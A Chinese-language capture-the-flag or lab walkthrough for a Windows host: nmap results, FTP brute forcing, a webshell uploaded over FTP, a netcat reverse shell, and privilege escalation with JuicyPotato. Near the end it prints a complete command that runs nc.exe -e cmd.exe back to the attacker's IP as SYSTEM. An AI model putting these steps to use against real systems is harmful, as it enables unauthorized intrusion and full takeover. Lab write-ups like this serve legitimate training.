nmap
└─# nmap -p- -A -sS 192.168.226.46
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 01:01 UTC
Stats: 0:01:06 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 52.12% done; ETC: 01:04 (0:01:00 remaining)
Stats: 0:01:58 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 25.00% done; ETC: 01:04 (0:00:36 remaining)
Nmap scan report for 192.168.226.46
Host is up (0.071s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp zFTPServer 6.0 build 2011-10-17
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| total 9680
| ---------- 1 root root 5610496 Oct 18 2011 zFTPServer.exe
| ---------- 1 root root 25 Feb 10 2011 UninstallService.bat
| ---------- 1 root root 4284928 Oct 18 2011 Uninstall.exe
| ---------- 1 root root 17 Aug 13 2011 StopService.bat
| ---------- 1 root root 18 Aug 13 2011 StartService.bat
| ---------- 1 root root 8736 Nov 09 2011 Settings.ini
| dr-xr-xr-x 1 root root 512 Dec 21 09:03 log
| ---------- 1 root root 2275 Aug 09 2011 LICENSE.htm
| ---------- 1 root root 23 Feb 10 2011 InstallService.bat
| dr-xr-xr-x 1 root root 512 Nov 08 2011 extensions
| dr-xr-xr-x 1 root root 512 Nov 08 2011 certificates
|_dr-xr-xr-x 1 root root 512 Aug 02 14:37 accounts
242/tcp open http Apache httpd 2.2.21 ((Win32) PHP/5.3.8)
| http-auth:
| HTTP/1.1 401 Authorization Required\x0D
|_ Basic realm=Qui e nuce nuculeum esse volt, frangit nucem!
|_http-title: 401 Authorization Required
|_http-server-header: Apache/2.2.21 (Win32) PHP/5.3.8
3145/tcp open zftp-admin zFTPServer admin
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=LIVDA
| Not valid before: 2024-08-01T06:37:13
|_Not valid after: 2025-01-31T06:37:13
|_ssl-date: 2024-12-21T01:04:22+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: LIVDA
| NetBIOS_Domain_Name: LIVDA
| NetBIOS_Computer_Name: LIVDA
| DNS_Domain_Name: LIVDA
| DNS_Computer_Name: LIVDA
| Product_Version: 6.0.6001
|_ System_Time: 2024-12-21T01:04:17+00:00
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2008|7|Phone|8.1 (90%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1:r1
Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 (90%), Microsoft Windows Server 2008 (87%), Microsoft Windows Server 2008 R2 (87%), Microsoft Windows Server 2008 R2 or Windows 8 (87%), Microsoft Windows 7 SP1 (87%), Microsoft Windows 8.1 Update 1 (87%), Microsoft Windows Phone 7.5 or 8.0 (87%), Microsoft Windows Embedded Standard 7 (86%), Microsoft Windows 8.1 R1 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsTRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 70.10 ms 192.168.45.1
2 70.06 ms 192.168.45.254
3 70.93 ms 192.168.251.1
4 70.94 ms 192.168.226.46OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 143.65 seconds
先看看242端口
访问发现basic认证
尝试弱口令 发现不行
看看21 ftp端口
nmap 所能够匿名访问
发现了很多文件 但是好像都下载不了
好像没啥突破口
卡了好久
只好看wp了 原来ftp需要爆破
爆破完后发现admin : admin 账号 这次我们再登录进去看看
里面有三个文件 我们下载下来 全看了一遍
看样子一个 是basic 验证的用户名和密码
另一个是index.php 默认页面
值得注意的是我们可以看到 在.htaccess里面允许我们用put方法
也就是说当我们通过basic验证后就能用put方法上传webshell了
先爆破出basic 的用户名密码
我们成功登录了
用OPTIONS 看看对方支持什么方法 , 但是好像不能用put
那我们就看看利用这个用户和密码能否通过 3389登录吧
发现也不行
然后我忽然想到
为啥不直接通过ftp上传文件呢
我发现ftp 是能上传的 我上传了一个webshell
是成功的
尝试反弹shell
先下载我们的nc
然后反弹 成功
接下来进入提权环节
whoami /priv
发现SeImpersonatePrivilege 权限
可以直接用potato 来提权了
我们有jucypotato试试
发现架构不对 应该用x86的jucypotato
换成x86的试试
发现可以运行了
那么接下来我们就用他来提权了
看wp
.\Juicy.Potato.x86.exe -l 1360 -p c:\windows\system32\cmd.exe -a "/c C:\wamp\www\nc.exe -e cmd.exe 192.168.45.250 8080" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
我不太理解{9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 这是clsid 我不太理解我一定要这个东西
这个clsid 是每个window都有的 好像 要在这里找https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2008_R2_Enterprise
感觉是一个一个试出来的
提权成功